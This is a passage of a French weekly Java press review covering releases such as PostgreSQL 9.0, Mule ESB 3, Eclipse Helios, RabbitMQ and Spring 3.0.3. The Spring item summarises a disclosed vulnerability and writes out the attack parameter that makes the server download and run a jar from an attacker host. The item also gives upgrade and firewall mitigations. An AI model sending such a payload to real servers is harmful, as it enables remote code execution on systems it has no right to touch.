• les projets confrontés à la taille maximum de leur JVM dépensent parfois beaucoup d’énergie afin de trouver les bonnes options pour limiter le garbage collector ou à trouver des dérivatifs, ici la question ne se pose plus.
• les temps de réponse sont quasi constants, en partie parce que le garbage collector n’est pas concerné, ce qui permet d’avoir un SLA prédictible. Le benchmark d’Ehcache est assez évocateur à ce sujet.

Parmi les bémols qui se sont exprimés, le billet sur ServerSide de Joseph Ottinger, employé de Gigaspaces (donc pas 100% objectif) et la discussion qu’il a engendré sont très instructifs. De façon abrégée, les points relevés:

• BigMemory n’est qu’une HashMap, lorsqu’on manipule autant de données il peut être nécessaire d’avoir un mécanisme de requête sur les clés.
• Le garbage collector a ses vertus, lorsqu’il y a un fort ratio d’écritures et que les tailles des objets varient beaucoup on peut se trouver dans une situation où l’espace est très fragmenté ce qui ralentira les écritures.
• Le monitoring de ce cache nécessitera d’autres outils que ceux utilisés habituellement pour surveiller l’efficacité du cache, rendant plus complexe leur utilisation.

PostgreSQL: version 9.0 finale

En version bêta depuis avril, PostgreSQL débarque dans sa version finale 9.0. Souvent considérée comme « l’autre base de donnée open source », PostgreSQL dispose pourtant de nombreuses qualités, que vient renforcer cette nouvelle version. Pendant la phase bêta, PostgreSQLFR nous avait décrit en détails les 2 principales nouveautés, orientées réplication et répartition de la charge en lecture.

• Le hot Standby: des bases secondaires sont disponibles en lecture seule. La charge peut donc être répartie entre les bases.
• La streaming replication: les bases secondaires sont maintenues à jour en temps réel, grâce aux logs de la base principale.

Ces 2 fonctionnalités justifient à elles seules le passage à la version supérieure. Il y en a bien sûr de nombreuses autres parmi lesquelles:

• des améliorations dans la gestion des droits qui peuvent être appliqués:
  • sur les blobs
  • en groupe sur les schémas
• le support de Python 3 en plus de nombreuses modifications dans la gestion des langages des procédures stockées

La liste complète des ajouts de cette version ainsi que des incompatibilités et informations de migration est disponible dans les release notes. Elle était déjà Open Source friendly, surtout après l’acquisition de MySQL par Oracle, voila que PostgreSQL va à n’en pas douter, avec cette nouvelle version, renforcer sa position dans les entreprises.

Agilité

Les problèmes d’estimation de la valeur métier

Mike Cohn, personnalité éminente dans la sphère agiliste et fondateur de l’Agile Alliance, nous fait part des difficultés à estimer la valeur métier des fonctionnalités développées dans un projet. En général, on estime la valeur métier pour deux raisons:

- Estimer la valeur ajoutée pour la société au cours des sprints (sous forme de graphique)
- Prioriser les user stories de manière plus efficace en comparant la valeur métier au coût de chaque story.

Vu que les user stories sont censés être des petits morceaux de fonctionnalités, il est très difficile de les estimer une à une puisqu’elles sont étroitement liées. Leur estimation s’apparente à la méthode des prix hédoniques (il va falloir ressortir les livres d’économie). Cette méthode est notamment utilisée pour évaluer les biens environnementaux et se base sur le principe que le prix d’un bien dépend de ses caractéristiques et des services qu’il rend.

En faisant des calculs de retour sur investissement, on peut être amené à comparer la valeur métier avec le coût de la story. Or, le coût d’une petite story est souvent dur à déterminer sans prendre en compte les autres stories (ex: une fonctionnalité d’architecture). Cela révèle tout le problème des coûts partagés.

Un autre constat que l’on peut faire est que la valeur de certaines stories peut être considérée comme la valeur totale de la fonctionnalité regroupant des stories. Mike reprend l’exemple de la valeur d’une roue alors que l’on veut fabriquer une voiture: Si on considère que l’on ne veut pas cette voiture sans cette roue, alors la valeur métier de la roue vaut la totalité de la voiture.

Mike nous a exposé tout le problème de l’estimation de la valeur métier sans toutefois nous proposer de méthode miracle. Celui-ci conclut en proposant d’estimer par groupe de user stories afin d’obtenir des valeurs plus réalistes et de permettre d’effectuer des analyses plus significatives.

SOA

Sortie de Mule ESB 3 GA

Le 15 septembre dernier, Ross Masson, CTO de MuleSoft, a officiellement annoncé la sortie de Mule ESB 3 en version GA. Cette 3ème version de l’ESB star, dont la première Milestone remonte à plus d’un an, était très attendue par la communauté Open Source, ainsi que par les utilisateurs, en raison des nombreuses nouveautés qui l’accompagnent.

Parmi les principales fonctionnalités se trouve le tout nouveau module Cloud Connect, qui regroupe un ensemble de connecteurs dédiés à l’intégration avec les applications Cloud, SaaS, ainsi qu’avec les Médias sociaux :

• Connecteurs Cloud clef-en-main dédiés aux fournisseurs de service Cloud populaires tels que Amazon Web Services et Facebook.
• Support natif de REST, facilitant le data-binding et la consomation de services RESTful s’appuyant notamment sur JAX-RS.
• Intégration avec les framework AJAX / JavaScript, offrant la possibilité d’interagir avec les services de l’ESB directement depuis son navigateur à l’aide de connecteurs dédiés à chaque librairie JavaScript (MooTools, ExtJS, JQuery, Dojo).
• Utilisation simplifiée d’ATOM et de RSS, pour la consommation et la création de flux. Il est notamment possible de déclencher des évènements en réaction à un flux.
• Support de JSON, à travers l’utilisation de nouveaux transformateurs.

Cette nouvelle version de Mule ESB introduit également une nouvelle gestion de la configuration basée sur les patterns, simplifiant l’exécution des tâches courantes telles que la publication de service REST, la création de passerelles transactionnelles ou la configuration de proxy de Services Web.

Par ailleurs, Mule ESB 3 supporte maintenant les annotations, simplifiant encore un peu la configuration de ces services. Parmi ces annotations, @Schedule offre la possibilité de planifier simplement l’exécution d’une méthode, et @Transformer, permet d’appliquer des transformations directement sur les messages reçus.

Du côté du déploiement, Mule ESB 3 est maintenant capable de déployer les nouveaux services à chaud, sans avoir à redémarrer son application. Basé sur une architecture OSGI, Mule 3 offre une meilleure isolation, permettant aux services d’être modifiés lors de l’exécution sans impact sur les autres services.

A noter parmi les autres changements :

• Une intégration avec jBPM améliorée permettant d’envoyer ou recevoir des messages vers et à partir d’un processus en cours.
• La possibilité de définir des endpoints dynamiques à l’aide d’expressions (Expression Language).
• Un mécanisme de transformations automatiques, s’appuyant sur les types Mime des messages.

Cette nouvelle version de Mule ESB apporte un très grand nombre de nouveautés, qui ont toutes vocation à en simplifier l’utilisation. La simplicité semble donc être le maître mot de cette 3ème mouture de l’ESB, qui va certainement conserver sa qualification de « couteau suisse » dans le domaine de l’intégration et des architectures SOA. En outre, Mule 3 sait également faire la part belle aux nouvelles exigences des entreprises, en s’ouvrant aux applications Cloud et aux Médias sociaux.

Pour plus d’informations sur Mule ESB 3 :

• Mule 3.0 Getting Started Guide
• Mule 3.0.0 Release Notes

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

SOA

• Quel nuage choisir ?

Le coin de la technique

• Sortie de Restlet 2.0
• Ravalement de Sun par Oracle, quelques couacs…
• Sortie de la version 2.2 d’Ehcache

SOA

Quel nuage choisir ?

Tout dépendra de la nature et des besoins de votre application, nous apprennent BitCurrent et Webmetrics, via le site infoq.

En effet, après avoir mené quatre types de tests et analyser cinq applications différentes, déployées sur les cinq plateformes de cloud concernées (à savoir, Amazon, Google, Rackspace, Salesforce.com, et Terremark) ils ont dégagé les conclusions suivantes :

• Faire attention à ses voisins : vos performances seront affectées par les autres applications utilisant le même nuage.
• Comprendre le profil de votre plateforme : elles ont des performances différentes selon le type de tâche effectuée, comme mis en évidence par les histogrammes publiés.
• Afin d’implémenter une stratégie de monitoring efficace , vous permettant de retrouver rapidement les éventuels goulots d’étranglement, il vous faudra implémenter du code spécifiquement pour cette tâche. Le diagnostic des problèmes devient plus compliqué, à cause des différentes ressources partagées.
• Choisir entre un IaaS ou un PaaS, dépendra de votre stratégie de portage de votre application vers les nuages. Si vous optez de la re-implémenter afin de tirer avantage des nouveaux types de repository de données tel que BigTable, un PaaS serait le bon choix. Sinon il faudrait plutôt choisir un IaaS et configurer l’élasticité de votre application vous même.
• Toujours surveiller votre taux d’utilisation lorsque vous utilisez un PaaS, car en cas de dépassement vos utilisateurs pourront se heurter à une indisponibilité.

Toutefois, les auteurs précisent que leur étude est plus une ligne de conduite et que des tests avancés devront être menés spécifiquement pour tenir compte des besoins de chaque application et qu’elle ne visent pas à recommander un nuage plutôt qu’un autre. Le rapport complet est disponible ici.

Le coin de la technique

Sortie de Restlet 2.0

Restlet qui fût l’un des premiers frameworks à embrasser REST vient de sortir en version 2.0 près de 2 ans après la version 1.1.

Parmi les nouveautés on peut noter les points suivants:

• Un support pour les nouvelles plateformes de Google: Android pour les Smartphones et les Tablets, et Google App Engine pour le cloud computing.
• Une réorganisation des extensions et des packages.
• Un meilleur support des en-têtes HTTP standards.
• Un support d’une API de sécurité HTTP Centric gérant l’authentification et les autorisations.

Parmi les nombreuses extensions disponibles, deux nouvelles extensions font leur apparition:

• L’extension OData qui fournit une API client haut niveau pour se connecter à différents services OData, tels que la plateforme de Cloud Computing Azure de Microsoft. Cette extension fournit à la fois un système de génération de code pour la représentation des données et un runtime layer.
• L’extension RDF a l’ambition de permettre aux utilisateurs de construire des applications basées sur le web sémantique. Cette extension fournit une API RDF complète basée sur l’API Restlet, permettant de traiter des documents à la façon DOM ou bien SAX. L’extension supporte les formats de sérialisation RDF/XML et RDF/n3.

Un livre Restlet In Action est également en préparation, et les 7 premiers chapitres sont déjà disponibles en early access chez Manning (Le premier chapitre est en accès gratuit).

Ravalement de Sun par Oracle, quelques couacs…

La dernière version de Java 1.6.0_21, sorti il y a quelques semaines, apportait quelques évolutions mineures et aussi malheureusement un bug impactant le lancement d’Eclipse. Dans le grand ravalement pour faire disparaitre les références à Sun, Oracle a modifié le nom de la compagnie, qui se trouve dans java.dll, en Oracle au lieu de Sun Microsystems, Inc. Or Eclipse se fie à ce nom pour fixer le paramètre par défaut -XX:MaxPermSize. Le problème concerne donc les utilisateurs Windows, un workaround assez simple consiste à fixer ce paramètre au démarrage d’Eclipse dans le fichier eclipse.ini en ajoutant le paramètre -XX:MaxPermSize=256m après -vmargs.

Dans la même veine, un mouvement (ici,ici et là) s’est formé pour revenir aux anciennes urls de sun pour la javadoc plus pratiques. En effet là où on avait http://java.sun.com/j2se/1.5.0/docs/api/java/lang/IndexOutOfBoundsException.html, Oracle avait remplacé par http://download.oracle.com/docs/cd/E17476_01/javase/1.5.0/docs/api/java/lang/IndexOutOfBoundsException.html, laissant penser qu’elle dépendait d’un identifiant d’un CD ! Le mouvement a eu finalement gain de cause et le java-iste peut à nouveau retrouver ses bonnes vieilles habitudes.

Sortie de la version 2.2 d’Ehcache

Le cache distribué de Terracota, Ehcache vient de sortir en version 2.2.
Au menu des nouveautés pour la version communautaire d’Ehcache :

• la simplification et l’amélioration de la console de contrôle et de monitoring du cache,
• une amélioration de la consommation mémoire et de l’utilisation du réseau,

et pour la version enterprise (commerciale) :

• un nouveau moteur de stockage distribué permettant de gérer jusqu’à plusieurs To de données réparties sur plusieurs centaines de nœuds,
• la possibilité de distribuer les données sur des nœuds répartis dans de multiples data centers (éventuellement distants géographiquement),
• l’intégration des problématiques d’authentification et d’autorisation via un support de JAAS.

Nous pouvons voir dans cette version l’aboutissement du savoir faire des équipes d’Ehcache et de Terracota dans la réalisation de cache et d’architectures distribuées. Cette évolution confirme Ehcache comme un étant un concurrent sérieux à des solutions telles qu’Oracle Coherence dont nous vous parlions dans cet article.

Outils

• Helios, Eclipse 3.6

SOA

• Tomcat Stats: administrer Tomcat depuis son iPhone

Le coin de la technique

• Articles sur Groovy/Spring et Grails/Hibernate
• Un nouveau top 10 orienté performance

Agilité

• Happy birthday Post-It !

Outils

Helios, Eclipse 3.6

Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d’Helios pour incarner la version annuelle d’Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.

Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le « Install new software… », un lien direct vers le Marketplace permet très facilement d’installer ces plugins, un peu à la manière d’un plugin Firefox (tout comme le redémarrage obligatoire). L’ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l’implémentation full java utilisée également sur d’autre projets alors qu’EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.

En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:

• Les options du formatter acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le formatter d’une partie du code (intéressant pour aider des merges compliqués).
• Les fonctionnalités sur le breakpoint, comme l’ajout d’une condition ou le compteur, sont à présent directement accessibles dans le panel breakpoints et non plus en passant par un menu contextuel dans le code.

La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d’Eclipse propose un top ten intéressant pour faire le tour des fonctionnalités. Arrive en tête l’application Xtext qui permet d’écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.

Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !

SOA

Tomcat Stats: administrer Tomcat depuis son iPhone

MuleSoft, plus connu pour son ESB Open Source Mule, a récemment annoncé la sortie de Tomcat Stats, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l’offre de support également gratuite, proposée par MuleSoft depuis maintenant presque une année. L’application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu’elles soient installées au sein de l’infrastructure propre de l’entreprise ou dans le Cloud. L’ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l’application, notamment l’utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.

Pour télécharger l’application, rien de plus simple il suffit de se rendre sur l’App Store, directement depuis son mobile, ou sur iTunes à l’adresse suivante : Tomcat Stats By MuleSoft Inc.

Bien qu’un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.

Le coin de la technique

Articles sur Groovy/Spring et Grails/Hibernate

IBM developerWorks nous a récemment gratifié d’un article en 2 parties intitulé « GroovierSpring ». Dans la première partie, nous apprenons à définir des beans Spring en Groovy. Quatre méthodes sont à notre disposition:

• Utilisation de classes Groovy compilées en .class normaux
• Utilisation de classes Groovy directement sous forme de .groovy
• Utilisation de scripts Groovy en ligne, écrits dans la configuration Spring
• Utilisation de Bean Builder de Grails

Cette dernière possibilité permet de créer des beans dynamiquement, à partir de code Groovy. Cela sous entend que l’on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la logique… C’est d’ailleurs une solution utilisée dans Grails.

Une fois les beans correctement définis, nous pouvons les utiliser comme n’importe quel bean Java défini plus classiquement. Le fait que les beans soient à l’origine en Groovy est complètement transparent à l’application.
La seconde partie de l’article va plus loin en explorant le rechargement à chaud des beans Groovy. C’est une plus-value importante: qui n’a jamais rêvé de pouvoir changer facilement certains bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents !) ? De plus, l’article propose une implémentation permettant de stocker son code Groovy en base de donnée, car il n’est pas toujours évident d’accéder au système de fichier des applications en production. C’est une idée assez peu conventionnelle ! D’ailleurs, le paragraphe de fin, intitulé « When Groovy scripts go bad », constitue une mise en garde pour ne pas abuser de ces possibilités, et être conscient des problèmes de sécurité soulevés.

Tant que nous somme dans le monde de Groovy, il nous semble intéressant de vous indiquer un article du blog de SpringSource qui s’intitule « GORM Gotchas (Part 1) ». Il pointe du doigt des comportements de GORM (la couche de persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d’Hibernate n’apprendront pas grand choses, mais l’article éclairera sans doutes ceux qui, attirés par la simplicité de Grails, se sont mis à l’utiliser sans expérience préalable d’Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à « save() », et pourquoi ils le sont parfois en l’absence d’appel à cette même méthode. Un autre article traitant de Grails et Hibernate nous vient de Ted Naleid. Celui-ci explique comment il a pu améliorer les performances de son batch en flushant la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s’appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !

Un nouveau top 10 orienté performance

Ce top10 se trouve sur le blog de l’éditeur Dynatrace. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d’un top 10 sélectif, chez des clients qui avaient conscience d’avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu’il est bon de toujours avoir à l’esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d’expérience.

• une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).
• une mauvaise programmation concurrente, avec un excès de synchronisation.
• un manque de compréhension des appels remote et donc un trop grand nombre d’appels.
• un mauvais usage des frameworks de mapping objet – relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l’utilisation la plus hors de propos de la librairie.
• l’existence de fuite mémoire (mais pourquoi ce point n’a t’il pas été placé en premier ?)
• une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d’introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta…
• une mauvaise utilisation des ressources machine (CPU, I/O…). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.
• des sites web trop chargés. La bande passante ne cesse d’augmenter, mais ce n’est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.
• une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c’est le Garbage Collector qui vous rappellera à l’ordre.
• la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d’objets, ou des objets trop volumineux.

Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c’est en partie la raison de vivre d’un blog éditeur) et nous préférons le déplacer en bonus :

• le problème intermittent, invisible. C’est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.

Agilité

Happy birthday Post-It !

Et pour conclure cette revue de presse, nous ne résistons pas à l’envie de partager avec vous cette nouvelle d’importance: les Post-It, ces fameuses petites notes collantes multicolores, fêtent leurs 30 ans. Rappelons que l’utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d’un Sprint sans Post-It ?! Alors pour leur rendre hommage, regardons quelques photos ou encore cette magnifique vidéo de laquelle ils sont les acteurs majeurs. Bon anniversaire les p’tits gars !

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• RabbitMQ 1.8

RIA

• Du côté de chez Play! Framework
• ExtJS + Raphael + jQtouch = Sencha

SOA

• WSO2 lance Stratos, un PaaS ouvert

Le coin de la technique

• Spring, version 3.0.3 et faille de sécurité
• Trucs et astuces pour Eclipse
• Sortie d’Apache Click 2.2.0
• Netbeans 6.9
• Choisir entre mod_jk et mod_proxy, par Mark Thomas

Actualité éditeurs / SSII

RabbitMQ 1.8

Alors que des idées originales sont proposées autour de RabbitMQ, comme cette proposition de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.

La possibilité d’ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d’échanges semble s’adresser surtout aux spécialistes (RabbitMQ pour l’instant ne propose qu’un mode de persistance même si un nouveau est annoncé prochainement).

Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d’AMQP qui est actuellement en version 0.10 et déjà supportée par Qpid. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d’efforts aux brokers pour l’implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de acker plusieurs fois un même message.

On peut regretter aussi que cette version n’apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s’il existe déjà des solutions externes.

Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :

<dependency>
    <groupId>com.rabbitmq</groupId>
    <artifactId>amqp-client</artifactId>
    <version>1.8.0</version>
</dependency>

Bien que cette version ne révolutionne rien, elle corrige pas mal d’imperfections et il est chaudement conseillé de l’installer.

RIA

Du côté de chez Play! Framework

Play!, le framework qui monte, qui monte, vient de passer un cap important : une Cheat Sheet vient de lui être consacrée !

Les releases s’enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.

• Play! Framework Cheat Sheet

Egalement à signaler, le lancement d’une plateforme pour héberger vos applications Play! : PlayApps. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l’air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n’avons pas encore eu l’occasion de tester ça, et nous sommes curieux.

ExtJS + Raphael + jQtouch = Sencha

Nous connaissons ExtJS mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient Sencha ! (via ajaxian)

Alors, qu’y a-t-il derrière cette nouvelle identité ? Et bien plusieurs produits déjà sortis et d’autres encore en incubation :

• Sencha Touch : framework HTML5 pour développement mobile (iPhone et Android) ;
• Ext Designer : application desktop de création d’interfaces ;
• Ext JS : on ne présente plus ce framework de création d’interfaces riches en Javascript ;
• Ext GWT : Ext JS pour les développeurs Java et GWT ;
• Ext Core : librairie Javascript cross-browser ;
• [Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;
• [Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;
• [Labs] Connect : framework regroupant Rack et NodeJS (j’attend déjà avec impatience !) pour un serveur d’application lean et event driven.

Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.

SOA

WSO2 lance Stratos, un PaaS ouvert

WSO2, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme PaaS Stratos. D’après Paul Fermantle, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :

• contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,

• Stratos n’offre pas seulement une plateforme pour le développement d’applications web, mais une architecture d’un SI d’entreprise complète avec notamment un ESB, de l’orchestration de services, etc …,

• Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.

Vous pouvez d’ores et déjà l’essayer à cette adresse

Le coin de la technique

Spring, version 3.0.3 et faille de sécurité

Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d’une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.

Plus de détails sur l’annonce officielle. Il est à noter que cette version corrige une faille de sécurité assez importante découverte sur la partie MVC et remontée par Meder Kydyraliev, de l’équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.

Le principe de l’attaque consiste à :

1. Réaliser un jar accessible depuis internet avec un fichier META-INF/spring-form.tld et un répertoire META-INF/tags/ contenant le code Java du tag
2. Soumettre un formulaire avec le paramètre HTTP : class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
3. Ensuite, le comportement interne de Spring fait qu’il va télécharger http://attacker/attack.jar pour l’exécuter sur la JVM du serveur d’application.

Pour se défendre de ce type d’attaque il y a deux possibilités :

• Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)
• Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l’URL soumise

Pour plus détails, je vous invite à lire le billet de Julien Dubois sur son blog Responcia

Sortie d’Apache Click 2.2.0

Apache Click est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s’écrit en Velocity, en FreeMarker ou en JSP. Click est stateless par défaut mais peut être paramétré pour être stateful. A noter qu’il est top-level project chez Apache depuis Novembre 2009.

Les nouveautés de cette version sont nombreuses. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l’ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.

Les liens utiles : téléchargement, guide utilisateur et exemples.

Trucs et astuces pour Eclipse

De plus en plus de développeurs sont convaincus par IntelliJ IDEA, l’IDE de JetBrains. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse. Certes, IDEA apporte son lot de changements par rapport à Eclipse mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l’IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d’articles du côté de chez CertPal de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d’Eclipse.

Le premier article se consacre au code templates. Exemple : la complétion sur syso nous génère automatiquement System.out.println(). De nombreux templates sont déjà disponibles et il sera bien sûr possible d’en ajouter très facilement. L’auteur nous présente alors quelques possibilités de templates comme le go générant un main, le log générant une variable de log avec les imports adéquats ou bien encore le tryf générant un block try/catch/finally.

Le second se focalise sur le débogage de l’application. Cela commence par la mise en place du remote debugging. Puis, l’auteur détaille les points d’arrêt conditionnels, la vue display qui permet l’exécution de code live avec toutes les variables du scope à disposition, la définition d’un detail formatter spécifique et la modification live de valeurs depuis la vue d’inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le debug de nos applications.

Enfin, sorti en début de semaine dernière, un troisième article, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l’import/export des préférences ou la très intéressante vue local history.

La série n’étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.

Netbeans 6.9

Aprés IntelliJ et Eclipse, Netbeans ! Netbeans 6.9 est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d’un formulaire, associés à des états et une source de données. Tout comme l’ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.

Parmi les autres nouveautés :

• intégration d’OSGI
• support de Spring 3.0.0
• support REST web services pour les applications RCP
• support de Rails 3.0

A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.

Bien que ce soit une version majeure, pas sûr néanmoins qu’elle fasse de l’ombre à la version annuelle d’Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.

Choisir entre mod_jk et mod_proxy, par Mark Thomas

Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s’est fendu d’un nouvel article qui se veut une checklist pour choisir entre le mod_jk et le mod_proxy. Mark commence d’ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd’hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:

• Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.
• Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.
• Si vous avez déjà un de ces modules en production, ne changez rien.
• Mark préfère le mod_proxy_http, pour sa configuration plus consistante.

Pour plus d’information, vous pouvez lire son article sur le blog Tomcat Expert, ou connaître notre avis sur la question: mod_proxy vs mod_jk.

Google I/O

• Partenariat entre Google et VMWare
• App Engine For Business
• WebM: enfin un standard vidéo libre ?

SOA

• Les créateurs de jBPM chez Alfresco

Le coin de la technique

• MyBatis : un fork de iBatis chez Google Code
• JRuby 1.5.0

Google I/O

Dans le foisonnement d’annonces lors du Google I/O 2010 qui s’est tenu la semaine dernière à San Francisco, nous en avons retenu quelques unes très intéressantes.

Partenariat entre Google et VMWare

VMWare et SpringSource sont décidément très actifs actuellement dans le domaine des partenariats et des acquisitions (RabbitMQ, GemStone ou VMForce). Google I/O a été l’occasion pour eux d’annoncer un nouveau partenariat autour du cloud computing, voire au delà: ils poussent plus loin leur concept d’Open PaaS déjà évoqué pour le partenariat avec SalesForce.

L’idée sous-jacente est de faire de VMWare la plateforme de développement privilégiée pour toute solution de PaaS (Plateform as a Service). En citant Steve Herrod, CTO chez VMWare:

Developers must be able to write applications without needing to know what underlying technology powers the cloud that they’ll be deployed on.

Et donc on pourrait développer une application App Engine et la tester sur les environnements de Google puis les déployer en production sur des instances VMWare. Au-delà de la problématique de l’hébergement, Steve Herrod ajoute également la possibilité d’accéder aux services Google (géolocalisation, traduction automatique…) et de diversifier les supports, en particulier sur les smartphones. Ce sont deux notions qu’on retrouve également dans le partenariat avec SalesForce.

Tout cela constitue pour l’instant des vœux pieux. Rod Johnson nous donne un aperçu plus précis de ce que sera ce partenariat:

• Intégration de GWT à l’outil Spring ROO, l’outil de SpringSource Tool qui permet de générer des projets Java en ligne de commande.
• Intégration de Google Speed Tracer à Spring Insight. Speed Tracer est un très bon outil de mesure de performance côté client, disponible aussi comme extension de chrome, alors que Spring Insight est un outil de mesure de performance plutôt côté serveur et directement accessible dans SpringSource Tool Suite. L’association des deux semble assez naturelle.

